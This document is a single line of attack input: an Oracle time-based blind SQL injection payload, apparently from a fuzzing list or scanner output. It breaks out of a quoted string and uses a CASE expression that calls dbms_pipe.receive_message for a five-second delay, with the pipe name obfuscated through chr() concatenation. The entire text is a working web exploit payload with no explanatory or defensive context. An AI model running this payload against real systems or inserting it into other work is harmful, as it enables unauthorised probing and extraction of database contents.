1',   (   select    (   case when    (   9644   =   9644   )    then dbms_pipe.receive_message   (   chr   (   75   )   ||chr   (   78   )   ||chr   (   104   )   ||chr   (   98   )   ,5   )    else 1/   (   select 0 from dual   )    end   )    from dual   )   